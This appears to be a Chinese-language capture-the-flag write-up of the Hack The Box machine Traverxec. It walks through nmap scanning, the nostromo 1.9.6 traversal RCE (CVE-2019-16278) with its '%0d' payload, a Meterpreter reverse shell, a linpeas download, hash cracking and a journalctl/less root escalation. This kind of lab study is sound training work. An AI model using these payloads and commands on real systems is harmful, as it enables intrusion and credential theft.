Hack The Box - Traverxec



title: Hack The Box - Traverxec author: World'sEnd layout: true categories: 漏洞专题 tags:

漏洞笔记


Hack The Box - Traverxec

nmap -sV -sC -T4 -Pn -p- 10.10.10.165 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-02 20:50 CST
Stats: 0:01:14 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 19.29% done; ETC: 20:56 (0:05:10 remaining)
Stats: 0:02:50 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 89.37% done; ETC: 20:53 (0:00:20 remaining)
Nmap scan report for 10.10.10.165
Host is up (0.15s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 207.29 seconds

在初始阶段,Nmap帮我探测到了目标开启22端口SSH服务与80HTTP服务。我尝试寻找22SSH服务披露漏洞。

searchsploit OpenSSH

一个有意思的名字深深吸引到了我。

Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation

Debian OpenSSH - (经过身份验证的) 远程 SElinux 提权漏洞。我尝试读取漏洞利用脚本信息,它告诉我 目标可以允许远程认证用户通过在用户名后跟角色名称附加 :/(冒号正斜杠)序列来获得对任意 SELinux 角色的访问权限。它已经为我指明了获取root shell权限的道路,我可以通过 用户名:/root 获取root级别的shell

那么我现在就需要去试着获取目标机器中能够允许远程登录的用户名,以及他们的口令,或是id_rsa密钥。那么我现在完全可以SSH爆破,但我并不想,因为这样做太看重运气了,而我认为运气对于每个人来说都是有限的。于是我将目光到了 80端口http 服务中,希望它能为我提供些许相关的信息。

在访问80HTTP服务之前,我把 机器名Traverxec对应的Web域名加入到了hosts文件中,因为我担心IP访问会错过什么。那么,它的Web域名应该是traverxec.htb。IP则为10.10.10.165。

我访问了80HTTP服务端口,目标很是热情,一上来就自我介绍,为我提供了以下信息:

DavidWhite、Davidwhite、davidwhite、whitedavid、Whitedavid、WhiteDavid。

我已经有六个可能存在的用户名。

它有一款看起来像是编辑器排版的软件Lorem Ipsum 。

网站还向我提供了一些图片,我尝试去点击这些图片,右边的按钮仅仅只是跳转到了页面顶部。并不会产生任何请求。

但我如果点击图标左边的放大镜按钮,它便会产生一些请求:

它还向我提供了一些分享链接按钮,我试着点击它们也仅仅只是跳转到了页面顶部,并不会产生任何请求。

以及一个供我遗留联系方式的Contact Form:

以及页脚的一些版权信息,它告诉我该站点是用 TemplateMag作为基础模板的。

那么根据目前掌握的信息,我有三个途径供我去尝试骇入目标机器。

1.SSH爆破,我已经拥有六个潜在的用户名David、DavidWhite、Davidwhite、davidwhite、whitedavid、Whitedavid、WhiteDavid。根据国外公民的命名规则,名为前,姓在后,我可以从中筛选出一半。DavidWhite、Davidwhite、davidwhite。2.我可以去尝试点击页面中图片的放大点击按钮,去尝试拦截请求数据包并将其重定向为我希望它请求的文件,比如"/etc/passwd"、"/etc/shadow"。或是采用相对路径,我则需要再获取更多的路径信息,那么我就需要对请求数据包记录进行分析提取或是路径爆破从而获取更多的路径信息。3.或是搜索引擎收集TemplateMag是否能为我提供些许有用的信息,尝试模板注入漏洞。4. 或是在它为我遗留的Contact Form中尝试注入类漏洞,我有些不敢尝试xss,因为它终归是个靶场,后端机器应该是空无一人的,如果我成功注入了xss代码它后端也为我触发返回了某些信息,终究还是有些瘆人会做噩梦的。

此时我才意识到我疏忽了一个问题,为什么我没有中间件服务容器类的信息,我意识到了自己愚蠢的漏掉了一些重要信息。

Nmap为我枚举到了80端口HTTP服务的一些信息:nostromo 1.9.6。但我却被远程 SElinux 提权漏洞吸引了全部注意力,满脑子都是如何获取用户名口令相关信息。好在我的间歇性总结建模习惯把我拉了回来,我开始尝试搜寻该HTTP服务组件的漏洞信息:

searchsploit nostromo 1.9.6

非常令人欣喜,它存在远程RCE。我尝试去访问漏洞利用脚本获取更的信息:

searchsploit -x multiple/remote/47837.py

它告诉了我漏洞编号CVE-2019-16278,并告诉我以POST方式去提交某种路径参数会被意外的导致代码执行,而它的payload看起来像是目录遍历漏洞。但我无法理解,为什么目录遍历漏洞可以RCE。

为了搞懂它,我不得不搜寻该漏洞的更多资料。我找到了这篇文章:

https://nosec.org/home/detail/3074.html

很快,我知晓了该漏洞的产生原理,在Nostromo 1.9.6版本的源代码中,位于main.c文件中的http_verify()函数,它会先进行解码以便对用户请求的路径进行校验,校验其中有无"/../"、防止目录穿越漏洞的产生,但它是基于黑名单校验的,而我细想了一下,除非破坏已有的 "/../" 类型而将其转换为"/.=./"等类型,该黑名单我想不到其他绕过的可能,但是这样的话我的payload便会很奇怪而无法正常执行,而漏洞利用脚本为我提供的payload信息便是"/.0%d./"这样的类型,又验证了我的想法,那只能是后端存在个内鬼,意外的帮我们去掉了payload中的填充的夹层致使payload Bypass后并正常解析使用。

事实确实如我所想,payload在一层一层函数方法作为参数传递到函数http_proc()内部的http_header()函数中,漏洞根源就在这,函数http_header()会通过函数strcutl()解析数据。而内鬼正是函数strcutl(),它会将用户请求参数中的"\r"去掉,\r 也就是 %0d。目录穿越漏洞便是由此产生。

紧接着,又会传递到execve()函数中,它是RCE的罪魁祸首,但是我想不明白的是,为何该中间件服务会使用执行命令的敏感函数呢?我想起了目标机器在80http服务端口为我提供的Contact Form留联系方式的输入框,如果我在输入框中留下了我的联系方式并提交了,那么必定目标网站管理人员是希望能看到的,如果他想从网页端看到,为了履行维护其他人隐私信息安全的义务,必定需要对访问该信息页面的用户进行身份校验,那么必定需要口令认证、密钥认证、来源认证等身份认证的功能,我觉得最让人没有安全感的便是口令认证,有口令泄露的风险,也有身份认证Bypass的可能。

比起安全性,我会更希望只有在我登录服务器时候才能访问用户留给我的联系方式等信息,因为我可以用更加具有安全性的密钥来登录服务器,而用户留给我的信息也不能放到WEB根目录,有被路径爆破导致隐私泄露的风险。那么我就需要自定义一个目录用于存放用户留给我的信息。

这似乎就关系到了系统调用命令创建打开某个文件并写入,而我可以利用管道符进行链接使其执行我所希望的命令代码,想到这里,我通体舒畅。

那么我便开始尝试构造payload。但是这次我想节省些许功夫,我并不想靠目录穿越漏洞尝试枚举用户信息敏感文件,Metasploit内置了该漏洞的利用模块。如果中间件服务账户能够简单读取到我希望读到的文件,那么它返回的shell级别也应该是可以的。我没必要专门再对目录敏感文件进行读取。

search nostromo 1.9.6

它默认的payload是perl语言的,但我更希望获取一个Meterpreter:

我选择了,并且它成功了:

payload => cmd/unix/python/meterpreter_reverse_tcp

我可以尝试内核溢出漏洞自动检测,但是我还想试着去探索其他的提权攻击方式,因为我还对

Debian OpenSSH - (经过身份验证的) 远程 SElinux 提权漏洞念念不忘,我通过Meterpreter进入了终端,并升级了交互式shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

我到home目录去查看了目标机器的用户名信息:

我进入了该用户的目录,并尝试执行一些命令,但因为权限不够而拒绝了我,我尝试sudo,它要求我输入密码口令:

我尝试了默认口令以及简单的口令都失败了。于是我尝试读取了/etc/passwd。而/etc/shadow拒绝了我的访问:

很明显的,我可以通过远程登录david然后利用Debian OpenSSH - (经过身份验证的) 远程 SElinux 提权漏洞获取root权限,那么我现在需要找到david用户的口令或密钥。

我发现wget可以使用,于是我决定开启http服务并为目标传入Linpeas.sh进行提权信息枚举。

python3 -m http.server 80

wget http://10.10.16.6/linpeas.sh -O linpeas.sh

chmod +x ./linpeas.sh

/linpeas.sh

它为我枚举了很多可能存在的提权漏洞:

然后,它帮我枚举出了一个有趣的东西:

我尝试用hashcat去破解,它破解了很久很久:

hashcat -m 500 --force hash.txt /usr/share/wordlists/rockyou.txt

$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/:Nowonly4me

我尝试SSH登录,不幸的是,密码不正确:

我不得不在终端中继续寻找有关口令的信息,幸运的是linpeas.sh帮我在/var/nostromo/conf枚举到了一些配置文件信息,我查看并发现了一些有意思的东西:

nostromo配置文件指向的网站根目录为/home,但是我在/home中并无看到有关nostromo的信息。

于是我找到了nostromo官方的用户手册:

它提醒我应该去尝试访问以下的url,

http://traverxec.htb/~david/

它返回了我这个页面:

我猜想目前我所在的位置应该是http://traverxec.htb/public_www。也就是http://traverxec.htb/~david/public_www。

于是我利用目录穿越漏洞尝试读取user.txt。

http://traverxec.htb/~david/.%0d./user.txt

它确实请求到了该文件,但是我对其没有访问权限,也证明了我的猜测,目前确实是在http://traverxec.htb/~david/public_www路径中:

我尝试对目录进行爆破,但是我并没有那样做,既然web端能够访问,我觉得我的shell终端也可以访问,它确实是这样的:

当前页面下有个目录,我可以查看它,并发现其中隐藏着看起来像是SSH的备份:

我尝试在web站点中访问并下载它,我失败了:

好吧,我通过Meterpreter下载该文件到本地:

download /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz

看起来,我获取到了目标机器的密钥:

我尝试用密钥去链接SSH服务:

ssh -i ./id_rsa david@10.10.10.165 -p 22

但它要求我输入key,我鼠标点击查看id_rsa发现key要求输入密码口令,而我尝试了刚刚破解获取到的密码口令,并不行:

我可以尝试用john工具包的ssh2john来提取密钥访问密码的哈希:

我尝试用john去破解口令:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

我尝试输入口令去链接,成功了:

我尝试利用Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation漏洞进行提权,它失败了:

 

网上也并没有相关漏洞的复现介绍资料文章,终究是错付了。我可以获取用户的flag:

用户目录中存在有一个奇怪的bin目录,我访问进去,发现里边有两个奇怪的文件,我可以执行其中一个:

我尝试运行该命令,它拒绝了我,我尝试sudo,它要求我输入密码:

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat /root/root.txt

看起来它是要我了解journalctl,我找到了以下url:

https://gtfobins.github.io/gtfobins/journalctl/

我觉得journalctl完全是一个恶俗的二进制程序,它要求我调整终端大小,小到它无法一次性打印出所有信息,看起来就像是这样:

这样便会触发Linux终端的less,而less是以root权限运行的,当触发less时我只需要敲击:

!/bin/bash

我拿到root flag:

请使用浏览器的分享功能分享到微信等